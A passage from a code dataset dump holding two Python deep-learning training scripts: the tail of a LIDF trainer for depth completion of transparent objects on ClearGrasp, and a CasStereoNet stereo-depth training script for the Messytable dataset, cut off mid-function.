self.save_ckpt_and_log(epoch)\n # lr scheduler\n self.scheduler.step()\n\n\n def save_ckpt_and_log(self, epoch):\n if self.xyz_err.avg < self.min_err:\n self.min_err = self.xyz_err.avg\n if self.end_acc.avg > self.max_acc:\n self.max_acc = self.end_acc.avg\n if self.angle_err.avg < self.min_angle_err:\n self.min_angle_err = self.angle_err.avg\n # dump stats in log file\n log_table = {\n 'epoch' : epoch,\n 'train_loss' : self.train_loss.avg,\n 'val_loss' : self.val_loss.avg,\n 'xyz_err': self.xyz_err.avg,\n 'min_err': self.min_err,\n 'end_acc': self.end_acc.avg,\n 'max_acc': self.max_acc,\n 'angle_err': self.angle_err.avg,\n 'min_angle_err': self.min_angle_err,\n 'a1': self.a1.avg,\n 'a2': self.a2.avg,\n 'a3': self.a3.avg,\n 'rmse': self.rmse.avg,\n 'rmse_log': self.rmse_log.avg,\n 'abs_rel': self.abs_rel.avg,\n 'mae': self.mae.avg,\n 'sq_rel': self.sq_rel.avg,\n }\n with open(self.log_path, 'a') as file:\n if self.opt.exp_type == 'train':\n file.write(json.dumps(log_table))\n file.write('\\n')\n\n # save checkpoints\n if self.opt.dist.ddp:\n resnet_state_dict = self.lidf.module.resnet_model.state_dict()\n pnet_state_dict = self.lidf.module.pnet_model.state_dict()\n offset_dec_state_dict = self.lidf.module.offset_dec.state_dict()\n prob_dec_state_dict = self.lidf.module.prob_dec.state_dict()\n else:\n resnet_state_dict = self.lidf.resnet_model.state_dict()\n pnet_state_dict = self.lidf.pnet_model.state_dict()\n offset_dec_state_dict = self.lidf.offset_dec.state_dict()\n prob_dec_state_dict = self.lidf.prob_dec.state_dict()\n\n ckpt_dict = log_table.copy()\n ckpt_dict.update({\n 'resnet_model': resnet_state_dict,\n 'pnet_model': pnet_state_dict,\n 'offset_dec': offset_dec_state_dict,\n 'prob_dec': prob_dec_state_dict,\n 'optimizer': self.optimizer.state_dict(),\n })\n torch.save(ckpt_dict, osp.join(self.ckpt_dir,'latest_network.pth'))\n if epoch % self.opt.training.nepoch_ckpt == 0:\n torch.save(ckpt_dict, osp.join(self.ckpt_dir,'epoch{:03d}_network.pth'.format(epoch)))\n\n def run_iteration(self, epoch, iteration, iter_len, exp_type, vis_iter, batch):\n pred_mask = None\n # Forward pass\n success_flag, data_dict, loss_dict = self.lidf(batch, exp_type, epoch, pred_mask)\n if exp_type == 'train' and self.opt.dist.ddp:\n # have to set barrier to wait for all processes finished forward pass\n dist.barrier()\n success_num = torch.Tensor([success_flag]).to(self.device)\n dist.all_reduce(success_num, op=dist.ReduceOp.SUM)\n # at least one gpu fails: clear grad buffer and return\n if success_num[0] < self.opt.dist.ngpus_per_node:\n print('gpu {}: {}'.format(self.opt.gpu_id, success_num[0]))\n self.optimizer.zero_grad()\n return\n elif not success_flag:\n if exp_type == 'train':\n self.optimizer.zero_grad()\n return\n\n # Backward pass\n if exp_type == 'train':\n self.optimizer.zero_grad()\n loss_dict['loss_net'].backward()\n self.optimizer.step()\n\n # Reduction across GPUs\n if exp_type == 'train' and self.opt.dist.ddp:\n reduced_loss_net = reduce_tensor(loss_dict['loss_net'], reduction='mean')\n reduced_pos_loss = reduce_tensor(loss_dict['pos_loss'], reduction='mean')\n reduced_prob_loss = reduce_tensor(loss_dict['prob_loss'], reduction='mean')\n reduced_surf_norm_loss = reduce_tensor(loss_dict['surf_norm_loss'], reduction='mean')\n reduced_smooth_loss = reduce_tensor(loss_dict['smooth_loss'], reduction='mean')\n reduced_err = reduce_tensor(loss_dict['err'], reduction='mean')\n reduced_acc = reduce_tensor(loss_dict['acc'], reduction='mean')\n reduced_angle_err = reduce_tensor(loss_dict['angle_err'], reduction='mean')\n \n # Metrics update\n if exp_type != 'train':\n self.val_loss.update(loss_dict['loss_net'].item())\n self.xyz_err.update(loss_dict['err'].item())\n self.end_acc.update(loss_dict['acc'].item())\n self.angle_err.update(loss_dict['angle_err'].item())\n self.a1.update(loss_dict['a1'].item())\n self.a2.update(loss_dict['a2'].item())\n self.a3.update(loss_dict['a3'].item())\n self.rmse.update(loss_dict['rmse'].item())\n self.rmse_log.update(loss_dict['rmse_log'].item())\n self.abs_rel.update(loss_dict['abs_rel'].item())\n self.mae.update(loss_dict['mae'].item())\n self.sq_rel.update(loss_dict['sq_rel'].item())\n elif self.opt.gpu_id == 0:\n if self.opt.dist.ddp:\n self.train_loss.update(reduced_loss_net.item())\n else:\n self.train_loss.update(loss_dict['loss_net'].item())\n\n # Logging\n log_cond1 = (iteration % self.opt.training.log_interval == 0) and (exp_type != 'train')\n log_cond2 = (iteration % self.opt.training.log_interval == 0) and (self.opt.gpu_id == 0)\n if log_cond1:\n err_log = '===> Epoch[{}]({}/{}): rmse: {:.3f}, abs_rel: {:.3f}, mae: {:.3f}, a1: {:.2f}, a2: {:.2f}, a3: {:.2f}'.format(\n epoch, iteration, iter_len, \n loss_dict['rmse'].item(), loss_dict['abs_rel'].item(), loss_dict['mae'].item(), \n loss_dict['a1'].item()*100, loss_dict['a2'].item()*100, loss_dict['a3'].item()*100)\n print(err_log)\n elif log_cond2:\n # set loss for log\n if exp_type == 'train' and self.opt.dist.ddp:\n loss_net_4log = reduced_loss_net.item()\n pos_loss_4log = reduced_pos_loss.item()\n prob_loss_4log = reduced_prob_loss.item()\n surf_norm_loss_4log = reduced_surf_norm_loss.item()\n smooth_loss_4log = reduced_smooth_loss.item()\n err_4log = reduced_err.item()\n acc_4log = reduced_acc.item()\n angle_err_4log = reduced_angle_err.item()\n else:\n loss_net_4log = loss_dict['loss_net'].item()\n pos_loss_4log = loss_dict['pos_loss'].item()\n prob_loss_4log = loss_dict['prob_loss'].item()\n surf_norm_loss_4log = loss_dict['surf_norm_loss'].item()\n smooth_loss_4log = loss_dict['smooth_loss'].item()\n err_4log = loss_dict['err'].item()\n acc_4log = loss_dict['acc'].item()\n angle_err_4log = loss_dict['angle_err'].item()\n log_info = '===> Epoch[{}]({}/{}): Loss: {:.5f}, Pos Loss: {:.5f}, Prob Loss: {:.5f}, Surf Loss: {:.5f}, Smooth Loss: {:.5f}'.format(\n epoch, iteration, iter_len, \n loss_net_4log, pos_loss_4log, prob_loss_4log,\n surf_norm_loss_4log, smooth_loss_4log)\n log_info += ', Err: {:.5f}, Acc: {:.5f}, Angle Err: {:.5f}'.format(\n err_4log, acc_4log, angle_err_4log)\n print(log_info)\n\n # Visualization\n vis_bid = 0\n vis_cond1 = (exp_type != 'test') and (self.opt.gpu_id == 0) and (iteration % (iter_len//vis_iter-1) == 0)\n vis_cond2 = (exp_type == 'test') and (iteration % vis_iter == 0)\n if vis_cond1 or vis_cond2:\n result_dir = getattr(self, '{}_vis_dir'.format(exp_type))\n self.visualize(data_dict, exp_type, epoch, iteration, vis_bid, result_dir)\n\n # write detailed err for test\n if exp_type == 'test':\n with open(self.csv_filename, 'a', newline='') as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames=self.field_names, delimiter=',')\n row_data = [\n iteration, round(loss_dict['rmse'].item(),3), round(loss_dict['abs_rel'].item(),3), round(loss_dict['mae'].item(),3),\n round(loss_dict['a1'].item()*100,2), round(loss_dict['a2'].item()*100,2), round(loss_dict['a3'].item()*100,2)\n ]\n writer.writerow(dict(zip(self.field_names, row_data)))\n\n\n\n def visualize(self, data_dict, exp_type, epoch, iteration, vis_bid, result_dir):\n # untransform and save rgb\n rgb_img = data_dict['rgb_img'][vis_bid].detach().cpu().numpy() # (3,h,w), float, (0,1)\n mean=np.array(constants.IMG_MEAN).reshape(-1,1,1)\n std=np.array(constants.IMG_NORM).reshape(-1,1,1)\n rgb_img = rgb_img * std + mean\n rgb_img = np.transpose(rgb_img,(1,2,0))*255.0\n rgb_img = rgb_img.astype(np.uint8) # (h,w,3), uint8, (0,255)\n color = rgb_img.reshape(-1,3)\n\n # undo transform of pred mask\n corrupt_mask_img = data_dict['corrupt_mask'][vis_bid].cpu().numpy()\n corrupt_mask_img = (corrupt_mask_img*255).astype(np.uint8)\n # undo transform of gt mask\n valid_mask_img = data_dict['valid_mask'][vis_bid].cpu().numpy()\n valid_mask_img = (valid_mask_img*255).astype(np.uint8)\n\n # Setup a figure\n fig, axes = plt.subplots(1, 3, figsize=(20, 7))\n axes = axes.flat\n for ax in axes:\n ax.axis(\"off\")\n # Inp RGB\n axes[0].set_title(\"Inp RGB\")\n axes[0].imshow(rgb_img)\n # Corrupt Mask\n axes[1].set_title(\"Corrupt Mask\")\n axes[1].imshow(corrupt_mask_img, cmap='gray', vmin=0, vmax=255)\n # Valid Mask\n axes[2].set_title(\"Valid Mask\")\n axes[2].imshow(valid_mask_img, cmap='gray', vmin=0, vmax=255)\n # Save figure\n plt.tight_layout()\n # name setting\n dst_path = osp.join(result_dir, 'epo{:03d}_iter{:05d}_img.png'.format(epoch, iteration))\n plt.savefig(dst_path)\n plt.close(fig)\n \n\n # save inp pcl\n vis_inp_pcl = data_dict['xyz_corrupt_flat'].clone()\n vis_inp_pcl = vis_inp_pcl[vis_bid].detach().cpu().numpy()\n dst_path = os.path.join(result_dir, 'epo{:03d}_iter{:05d}_inp.ply'.format(epoch, iteration))\n vis_utils.save_point_cloud(vis_inp_pcl, color, dst_path)\n \n # save gt pcl\n vis_gt_pcl = data_dict['xyz_corrupt_flat'].clone()\n vis_gt_pcl[data_dict['miss_bid'], data_dict['miss_flat_img_id']] = data_dict['gt_pos']\n vis_gt_pcl = vis_gt_pcl[vis_bid].detach().cpu().numpy()\n dst_path = os.path.join(result_dir, 'epo{:03d}_iter{:05d}_gt.ply'.format(epoch, iteration))\n vis_utils.save_point_cloud(vis_gt_pcl, color, dst_path)\n \n # save pred pcl\n vis_pred_pcl = data_dict['xyz_corrupt_flat'].clone()\n vis_pred_pcl[data_dict['miss_bid'], data_dict['miss_flat_img_id']] = data_dict['pred_pos']\n corrupt_mask_flat = data_dict['corrupt_mask'].view(data_dict['rgb_img'].shape[0],-1)\n miss_idx = torch.nonzero(corrupt_mask_flat, as_tuple=False)\n miss_bid = miss_idx[:,0]\n miss_flat_img_id = miss_idx[:,1]\n transparent_pred = vis_pred_pcl[miss_bid, miss_flat_img_id]\n vis_pred_pcl = vis_pred_pcl[vis_bid].detach().cpu().numpy()\n dst_path = os.path.join(result_dir, 'epo{:03d}_iter{:05d}_pred.ply'.format(epoch, iteration))\n vis_utils.save_point_cloud(vis_pred_pcl, color, dst_path)\n vis_transparent_pred_pcl = data_dict['xyz_corrupt_flat'].clone()\n vis_transparent_pred_pcl[miss_bid, miss_flat_img_id] = transparent_pred\n vis_transparent_pred_pcl = vis_transparent_pred_pcl[vis_bid].detach().cpu().numpy()\n dst_path = os.path.join(result_dir, 'epo{:03d}_iter{:05d}_pred_transparent.ply'.format(epoch, iteration))\n vis_utils.save_point_cloud(vis_transparent_pred_pcl, color, dst_path)\n\n\n # visualize surface normal image\n if self.opt.loss.surf_norm_w > 0:\n gt_surf_norm_img_np = data_dict['gt_surf_norm_img'][vis_bid].permute(1,2,0).contiguous().detach().cpu().numpy()\n gt_surf_norm_img_np = (gt_surf_norm_img_np+1) / 2 * 255.\n gt_surf_norm_img_np = gt_surf_norm_img_np.astype(np.uint8)\n pred_surf_norm_img_np = data_dict['pred_surf_norm_img'][vis_bid].permute(1,2,0).contiguous().detach().cpu().numpy()\n pred_surf_norm_img_np = (pred_surf_norm_img_np+1) / 2 * 255.\n pred_surf_norm_img_np = pred_surf_norm_img_np.astype(np.uint8)\n\n # Setup a figure\n fig, axes = plt.subplots(1, 2, figsize=(20, 7))\n axes = axes.flat\n for ax in axes:\n ax.axis(\"off\")\n # Pred SN\n axes[0].set_title(\"Pred Surface Normal\")\n axes[0].imshow(pred_surf_norm_img_np)\n # GT SN\n axes[1].set_title(\"GT Surface Normal\")\n axes[1].imshow(gt_surf_norm_img_np)\n # Save figure\n plt.tight_layout()\n # name setting\n dst_path = osp.join(result_dir, 'epo{:03d}_iter{:05d}_sn.png'.format(epoch, iteration))\n plt.savefig(dst_path)\n plt.close(fig)\n\n\n def train(self, data_loader, exp_type, epoch):\n if self.opt.gpu_id == 0:\n self.train_loss.reset()\n\n self.lidf.train()\n for iteration, batch in enumerate(data_loader):\n debug_print(\"=> Iter {} for GPU {}\".format(iteration, self.opt.gpu_id), self.opt.debug)\n self.run_iteration(epoch, iteration, len(data_loader), exp_type, \n self.opt.training.train_vis_iter, batch)\n if self.opt.debug and iteration == 5:\n break\n\n def validate(self, data_loader, exp_type, epoch, dataset_name='valid'):\n with torch.no_grad():\n self.val_loss.reset()\n self.xyz_err.reset()\n self.end_acc.reset()\n self.angle_err.reset()\n self.a1.reset()\n self.a2.reset()\n self.a3.reset()\n self.rmse.reset()\n self.rmse_log.reset()\n self.abs_rel.reset()\n self.mae.reset()\n self.sq_rel.reset()\n\n self.lidf.eval()\n for iteration, batch in enumerate(data_loader):\n self.run_iteration(epoch, iteration, len(data_loader), exp_type, \n self.opt.training.val_vis_iter, batch)\n if self.opt.debug and iteration == 5:\n break\n\n err_log = ' {}: rmse: {:.3f}, abs_rel: {:.3f}, mae: {:.3f}, a1: {:.2f}, a2: {:.2f}, a3: {:.2f}\\n'.format(\n dataset_name, self.rmse.avg, self.abs_rel.avg, self.mae.avg, self.a1.avg*100, self.a2.avg*100, self.a3.avg*100)\n print(err_log)\n with open(self.valid_log_path, 'a') as file:\n file.write(err_log)\n\n\n def test(self, data_loader, exp_type, dataset_type, epoch=0):\n # Create CSV File to store error metrics\n self.csv_filename = osp.join(self.result_dir, 'detailed_errors', '{}_{}.csv'.format(self.opt.dataset.type, dataset_type))\n os.makedirs(osp.dirname(self.csv_filename), exist_ok=True)\n self.field_names = [\"Image Num\", \"RMSE\", \"REL\", \"MAE\", \"Delta 1.05\", \"Delta 1.10\", \"Delta 1.25\"]\n with open(self.csv_filename, 'w') as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames=self.field_names, delimiter=',')\n writer.writeheader()\n\n vis_iter = self.opt.training.test_vis_iter\n\n with torch.no_grad():\n self.val_loss.reset()\n self.xyz_err.reset()\n self.end_acc.reset()\n self.angle_err.reset()\n self.a1.reset()\n self.a2.reset()\n self.a3.reset()\n self.rmse.reset()\n self.rmse_log.reset()\n self.abs_rel.reset()\n self.mae.reset()\n self.sq_rel.reset()\n\n self.lidf.eval()\n for iteration, batch in enumerate(data_loader):\n self.run_iteration(epoch, iteration, len(data_loader), exp_type, vis_iter, batch)\n\n err_log = '===> {}: rmse: {:.3f}, abs_rel: {:.3f}, mae: {:.3f}, a1: {:.2f}, a2: {:.2f}, a3: {:.2f}\\n'.format(\n dataset_type, self.rmse.avg, self.abs_rel.avg, self.mae.avg, \n self.a1.avg*100, self.a2.avg*100, self.a3.avg*100)\n print(err_log)\n with open(self.log_path, 'a') as file:\n file.write(err_log)\n with open(self.csv_filename, 'a', newline='') as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames=self.field_names, delimiter=',')\n row_data = ['MEAN', round(self.rmse.avg,3), round(self.abs_rel.avg,3), round(self.mae.avg,3), \n round(self.a1.avg*100,2), round(self.a2.avg*100,2), round(self.a3.avg*100,2)]\n writer.writerow(dict(zip(self.field_names, row_data)))\n \n\ndef createAndRunTrainer(gpu_id, opt):\n '''\n gpu_id: gpu id for current trainer. same as process local rank. handled by spawn for multiprocessing, or \n manually passed in for single GPU training\n opt: option data\n '''\n\n # local gpu id for current process in residing node.\n opt.gpu_id = gpu_id\n if opt.dist.ddp:\n # global gpu id for current process \n opt.dist.global_gpu_id = opt.dist.node_rank * opt.dist.ngpus_per_node + gpu_id\n # total GPU number\n opt.dist.world_size = opt.dist.ngpus_per_node * opt.dist.nodes_num\n dist.init_process_group(backend=opt.dist.dist_backend, init_method=opt.dist.dist_url,\n world_size=opt.dist.world_size, rank=opt.dist.global_gpu_id)\n # init trainer\n trainer = TrainLIDF(opt)\n\n # Training\n if opt.exp_type == 'train':\n print(\"=> Start Training\")\n trainer.train_epoch()\n \n # Testing\n elif opt.exp_type == 'test':\n if opt.dist.ddp:\n raise ValueError('Testing should use single GPU')\n print(\"=> Start Testing\")\n # vis dir\n trainer.test_vis_dir = create_dir(osp.join(trainer.result_dir, '{}_test_vis'.format(opt.dataset.type)))\n # log path\n trainer.log_path = osp.join(trainer.result_dir, '{}_test_log.txt'.format(opt.dataset.type))\n with open(trainer.log_path, 'a') as file:\n file.write('Mask Type: {}\\n'.format(opt.mask_type))\n file.write('checkpoint path: {}\\n'.format(opt.checkpoint_path.split('/')[-1]))\n if opt.dataset.type == 'cleargrasp':\n trainer.test(trainer.syn_known_test_data_loader, 'test', 'syn_known', epoch=0)\n trainer.test(trainer.syn_novel_test_data_loader, 'test', 'syn_novel', epoch=1)\n trainer.test(trainer.real_known_test_data_loader, 'test', 'real_known', epoch=2)\n trainer.test(trainer.real_novel_test_data_loader, 'test', 'real_novel', epoch=3)\n\n else:\n raise NotImplementedError('{} not supported'.format(opt.exp_type))", "id": "1544892", "language": "Python", "matching_score": 5.2829790115356445, "max_stars_count": 34, "path": "src/trainers/train_lidf.py" }, { "content": "from __future__ import print_function, division\nimport argparse\nimport os, sys\nimport torch.nn.parallel\nimport torch.backends.cudnn as cudnn\nimport torch.optim as optim\nimport torch.utils.data\nfrom tensorboardX import SummaryWriter\nfrom datasets.messytable_dataset import MessytableDataset\nfrom models import __models__, __loss__\nfrom utils import *\nfrom utils.metrics import compute_err_metric\nfrom utils.warp_ops import apply_disparity_cu\nfrom utils.messytable_dataset_config import cfg\nimport gc\n\ncudnn.benchmark = True\nassert torch.backends.cudnn.enabled, \"Amp requires cudnn backend to be enabled.\"\n\nparser = argparse.ArgumentParser(description='Cascade Stereo Network (CasStereoNet)')\n\n# Model parameters\nparser.add_argument('--model', default='gwcnet-c', help='select a model structure', choices=__models__.keys())\nparser.add_argument('--grad_method', type=str, default=\"detach\", choices=[\"detach\", \"undetach\"],\n help='predicted disp detach, undetach')\nparser.add_argument('--save_freq', type=int, default=1, help='the frequency of saving checkpoint')\nparser.add_argument('--logdir', required=True, help='the directory to save logs and checkpoints')\nparser.add_argument('--loadckpt', help='load the weights from a specific checkpoint')\nparser.add_argument('--resume', action='store_true', help='continue training the model')\nparser.add_argument('--seed', type=int, default=1, metavar='S', help='random seed (default: 1)')\n\n# Apex and distributed training configuration\nparser.add_argument(\"--local_rank\", type=int, default=0, help='rank of device in distributed training')\nparser.add_argument('--using_apex', action='store_true', help='using apex, need to install apex')\nparser.add_argument('--sync_bn', action='store_true',help='enabling apex sync BN.')\nparser.add_argument('--opt-level', type=str, default=\"O0\")\nparser.add_argument('--keep-batchnorm-fp32', type=str, default=None)\nparser.add_argument('--loss-scale', type=str, default=None)\n\n# Messytable dataset configuration\nparser.add_argument('--config-file', type=str, default='./CasStereoNet/configs/local_train_config.yaml',\n metavar='FILE', help='Config files')\nparser.add_argument('--color-jitter', action='store_true', help='whether apply color jitter in data augmentation')\nparser.add_argument('--gaussian-blur', action='store_true', help='whether apply gaussian blur in data augmentation')\nparser.add_argument('--debug', action='store_true', help='whether run in debug mode')\nparser.add_argument('--warp-op', action='store_true', help='whether use warp_op function to get disparity')\n\nargs = parser.parse_args()\ncfg.merge_from_file(args.config_file)\nos.makedirs(args.logdir, exist_ok=True)\n\n# Use sync_bn by using nvidia-apex, need to install apex.\nif args.sync_bn:\n assert args.using_apex, \"must set using apex and install nvidia-apex\"\nif args.using_apex:\n try:\n from apex.parallel import DistributedDataParallel as DDP\n from apex.fp16_utils import *\n from apex import amp, optimizers\n from apex.multi_tensor_apply import multi_tensor_applier\n except ImportError:\n raise ImportError(\"Please install apex from https://www.github.com/nvidia/apex to run this example.\")\n\n# Distributed training\nnum_gpus = int(os.environ[\"WORLD_SIZE\"]) if \"WORLD_SIZE\" in os.environ else 1\nis_distributed = num_gpus > 1\nargs.is_distributed = is_distributed\n\nif is_distributed:\n torch.cuda.set_device(args.local_rank)\n torch.distributed.init_process_group(\n backend=\"nccl\", init_method=\"env://\"\n )\n synchronize()\n\n# Set seed\nset_random_seed(args.seed)\n\n# Create summary logger and print args\nif (not is_distributed) or (dist.get_rank() == 0):\n print(\"argv:\", sys.argv[1:])\n print_args(args)\n print(f'Runing with configs : \\n {cfg}')\n print(\"creating new summary file\")\n logger = SummaryWriter(args.logdir)\n\n# Create model and model_loss\nmodel = __models__[args.model](\n maxdisp=cfg.ARGS.MAX_DISP,\n ndisps=[int(nd) for nd in cfg.ARGS.NDISP],\n disp_interval_pixel=[float(d_i) for d_i in cfg.ARGS.DISP_INTER_R],\n cr_base_chs=[int(ch) for ch in cfg.ARGS.CR_BASE_CHS],\n grad_method=args.grad_method,\n using_ns=cfg.ARGS.USING_NS,\n ns_size=cfg.ARGS.NS_SIZE\n )\nif args.sync_bn:\n import apex\n print(\"using apex synced BN\")\n model = apex.parallel.convert_syncbn_model(model)\nmodel_loss = __loss__[args.model]\nmodel.cuda()\nif dist.get_rank() == 0:\n print('Number of model parameters: {}'.format(sum([p.data.nelement() for p in model.parameters()])))\n\n# Optimizer\noptimizer = optim.Adam(model.parameters(), lr=cfg.SOLVER.LR, betas=(0.9, 0.999))\n\n# Load parameters if ckpt is provided\nstart_epoch = 0\nif args.resume:\n # find all checkpoints file and sort according to epoch id\n all_saved_ckpts = [fn for fn in os.listdir(args.logdir) if (fn.endswith(\".ckpt\") and not fn.endswith(\"best.ckpt\"))]\n all_saved_ckpts = sorted(all_saved_ckpts, key=lambda x: int(x.split('_')[-1].split('.')[0]))\n # use the latest checkpoint file\n loadckpt = os.path.join(args.logdir, all_saved_ckpts[-1])\n print(\"loading the lastest model in logdir: {}\".format(loadckpt))\n state_dict = torch.load(loadckpt, map_location=torch.device(\"cpu\"))\n model.load_state_dict(state_dict['model'])\n optimizer.load_state_dict(state_dict['optimizer'])\n start_epoch = state_dict['epoch'] + 1\nelif args.loadckpt:\n # load the checkpoint file specified by args.loadckpt\n print(\"loading model {}\".format(args.loadckpt))\n state_dict = torch.load(args.loadckpt, map_location=torch.device(\"cpu\"))\n model.load_state_dict(state_dict['model'])\nif dist.get_rank() == 0:\n print(\"start at epoch {}\".format(start_epoch))\n\n# Initialize Amp\nif args.using_apex:\n model, optimizer = amp.initialize(model, optimizer,\n opt_level=args.opt_level,\n keep_batchnorm_fp32=args.keep_batchnorm_fp32,\n loss_scale=args.loss_scale\n )\n# Enable Multiprocess training\nif is_distributed:\n print(\"Dist Train, Let's use\", torch.cuda.device_count(), \"GPUs!\")\n model = torch.nn.parallel.DistributedDataParallel(\n model, device_ids=[args.local_rank], output_device=args.local_rank,\n # find_unused_parameters=False,\n # this should be removed if we update BatchNorm stats\n # broadcast_buffers=False,\n )\nelse:\n if torch.cuda.is_available():\n print(\"Let's use\", torch.cuda.device_count(), \"GPUs!\")\n model = nn.DataParallel(model)\n\n\n# Dataset, dataloader\ntrain_dataset = MessytableDataset(cfg.SPLIT.TRAIN, args.gaussian_blur, args.color_jitter, args.debug, sub=100)\nval_dataset = MessytableDataset(cfg.SPLIT.VAL, args.gaussian_blur, args.color_jitter, args.debug, sub=100)\n\nif is_distributed:\n train_sampler = torch.utils.data.DistributedSampler(train_dataset, num_replicas=dist.get_world_size(),\n rank=dist.get_rank())\n val_sampler = torch.utils.data.DistributedSampler(val_dataset, num_replicas=dist.get_world_size(),\n rank=dist.get_rank())\n\n TrainImgLoader = torch.utils.data.DataLoader(train_dataset, cfg.SOLVER.BATCH_SIZE, sampler=train_sampler,\n num_workers=cfg.SOLVER.NUM_WORKER, drop_last=True, pin_memory=True)\n ValImgLoader = torch.utils.data.DataLoader(val_dataset, cfg.SOLVER.BATCH_SIZE, sampler=val_sampler,\n num_workers=cfg.SOLVER.NUM_WORKER, drop_last=False, pin_memory=True)\n\nelse:\n TrainImgLoader = torch.utils.data.DataLoader(train_dataset, batch_size=cfg.SOLVER.BATCH_SIZE,\n shuffle=True, num_workers=cfg.SOLVER.NUM_WORKER, drop_last=True)\n\n ValImgLoader = torch.utils.data.DataLoader(val_dataset, batch_size=cfg.SOLVER.BATCH_SIZE,\n shuffle=False, num_workers=cfg.SOLVER.NUM_WORKER, drop_last=False)\n\n\nnum_stage = len([int(nd) for nd in cfg.ARGS.NDISP])\n\n\ndef train():\n Cur_err = np.inf\n for epoch_idx in range(start_epoch, cfg.SOLVER.EPOCHS):\n adjust_learning_rate(optimizer, epoch_idx, cfg.SOLVER.LR, cfg.SOLVER.LR_EPOCHS)\n\n # Training\n avg_train_scalars = AverageMeterDict()\n for batch_idx, sample in enumerate(TrainImgLoader):\n loss, scalar_outputs = train_sample(sample)\n if (not is_distributed) or (dist.get_rank() == 0):\n avg_train_scalars.update(scalar_outputs)\n\n # Calculate average error in the main process\n if (not is_distributed) or (dist.get_rank() == 0):\n # Get average results among all batches\n total_err_metrics = avg_train_scalars.mean()\n print(f'Epoch {epoch_idx} train total_err_metrics: {total_err_metrics}')\n\n # Add lr to dict and save results to tensorboard\n total_err_metrics.update({'lr': optimizer.param_groups[0]['lr']})\n save_scalars(logger, 'train', total_err_metrics, epoch_idx)\n\n # Save checkpoints\n if (epoch_idx + 1) % args.save_freq == 0:\n if (not is_distributed) or (dist.get_rank() == 0):\n checkpoint_data = {'epoch': epoch_idx, 'model': model.module.state_dict(), 'optimizer': optimizer.state_dict()}\n save_filename = \"{}/checkpoint_{:0>6}.ckpt\".format(args.logdir, epoch_idx)\n torch.save(checkpoint_data, save_filename)\n gc.collect()\n\n # Validation\n avg_test_scalars = AverageMeterDict()\n for batch_idx, sample in enumerate(ValImgLoader):\n loss, scalar_outputs = test_sample(sample)\n if (not is_distributed) or (dist.get_rank() == 0):\n avg_test_scalars.update(scalar_outputs)\n\n # Calculate average error and save checkpoint in the main process\n if (not is_distributed) or (dist.get_rank() == 0):\n # Get average results among all batches\n total_err_metrics = avg_test_scalars.mean()\n print(f'Epoch {epoch_idx} val total_err_metrics: {total_err_metrics}')\n save_scalars(logger, 'val', total_err_metrics, epoch_idx)\n\n # Save best checkpoints\n if (not is_distributed) or (dist.get_rank() == 0):\n New_err = total_err_metrics[\"depth_abs_err\"][0]\n if New_err < Cur_err:\n Cur_err = New_err\n checkpoint_data = {'epoch': epoch_idx, 'model': model.module.state_dict(),\n 'optimizer': optimizer.state_dict()}\n save_filename = \"{}/checkpoint_best.ckpt\".format(args.logdir)\n torch.save(checkpoint_data, save_filename)\n print(\"Best Checkpoint epoch_idx:{}\".format(epoch_idx))\n gc.collect()\n\n\n# train one sample\ndef train_sample(sample):\n model.train()\n\n # Load data\n imgL = sample['img_L'].cuda()\n imgR = sample['img_R'].cuda()\n disp_gt = sample['img_disp_l'].cuda()\n depth_gt = sample['img_depth_l'].cuda() # [bs, 1, H, W]\n img_focal_length = sample['focal_length'].cuda()\n img_baseline = sample['baseline'].cuda()\n\n if args.warp_op:\n img_disp_r = sample['img_disp_r'].cuda()\n disp_gt = apply_disparity_cu(img_disp_r, img_disp_r.type(torch.int)) # [bs, 1, H, W]\n del img_disp_r\n \n # Resize the 2x resolution disp and depth back to 256 * 512\n # Note: This step should go after the apply_disparity_cu\n disp_gt = F.interpolate(disp_gt, (256, 512)).squeeze(1) # [bs, H, W]\n depth_gt = F.interpolate(depth_gt, (256, 512)) # [bs, 1, H, W]\n\n optimizer.zero_grad()\n\n outputs = model(imgL, imgR)\n mask = (disp_gt < cfg.ARGS.MAX_DISP) * (disp_gt > 0) # Note in training we do not exclude bg\n loss = model_loss(outputs, disp_gt, mask, dlossw=[float(e) for e in cfg.ARGS.DLOSSW])\n\n outputs_stage = outputs[\"stage{}\".format(num_stage)]\n disp_pred = outputs_stage['pred'] # [bs, H, W]\n del outputs\n\n # Compute error metrics\n scalar_outputs = {\"loss\": loss}\n err_metrics = compute_err_metric(disp_gt.unsqueeze(1),\n depth_gt,\n disp_pred.unsqueeze(1),\n img_focal_length,\n img_baseline,\n mask.unsqueeze(1))\n scalar_outputs.update(err_metrics)\n\n if is_distributed and args.using_apex:\n with amp.scale_loss(loss, optimizer) as scaled_loss:\n scaled_loss.backward()\n else:\n loss.backward()\n optimizer.step()\n\n if is_distributed:\n scalar_outputs = reduce_scalar_outputs(scalar_outputs)\n\n return tensor2float(scalar_outputs[\"loss\"]), tensor2float(scalar_outputs)\n\n\n# test one sample\n@make_nograd_func\ndef test_sample(sample):\n if is_distributed:\n model_eval = model.module\n else:\n model_eval = model\n model_eval.eval()\n\n imgL = sample['img_L'].cuda()\n imgR = sample['img_R'].cuda()\n disp_gt = sample['img_disp_l'].cuda()\n depth_gt = sample['img_depth_l'].cuda() # [bs, 1, H, W]\n img_focal_length = sample['focal_length'].cuda()\n img_baseline = sample['baseline'].cuda()\n\n if args.warp_op:\n img_disp_r = sample['img_disp_r'].cuda()\n disp_gt = apply_disparity_cu(img_disp_r, img_disp_r.type(torch.int)) # [bs, 1, H, W]\n del img_disp_r\n \n disp_gt = F.interpolate(disp_gt, (256, 512)).squeeze(1) # [bs, H, W]\n depth_gt = F.interpolate(depth_gt, (256, 512))\n\n outputs = model_eval(imgL, imgR)\n mask = (disp_gt < cfg.ARGS.MAX_DISP) * (disp_gt > 0)\n loss = torch.tensor(0, dtype=imgL.dtype, device=imgL.device, requires_grad=False)\n # loss = model_loss(outputs, disp_gt, mask, dlossw=[float(e) for e in cfg.ARGS.DLOSSW])\n\n outputs_stage = outputs[\"stage{}\".format(num_stage)]\n disp_pred = outputs_stage[\"pred\"]\n\n # Compute error metrics\n scalar_outputs = {\"loss\": loss}\n err_metrics = compute_err_metric(disp_gt.unsqueeze(1),\n depth_gt,\n disp_pred.unsqueeze(1),\n img_focal_length,\n img_baseline,\n mask.unsqueeze(1))\n scalar_outputs.update(err_metrics)\n\n if is_distributed:\n scalar_outputs = reduce_scalar_outputs(scalar_outputs)\n\n return 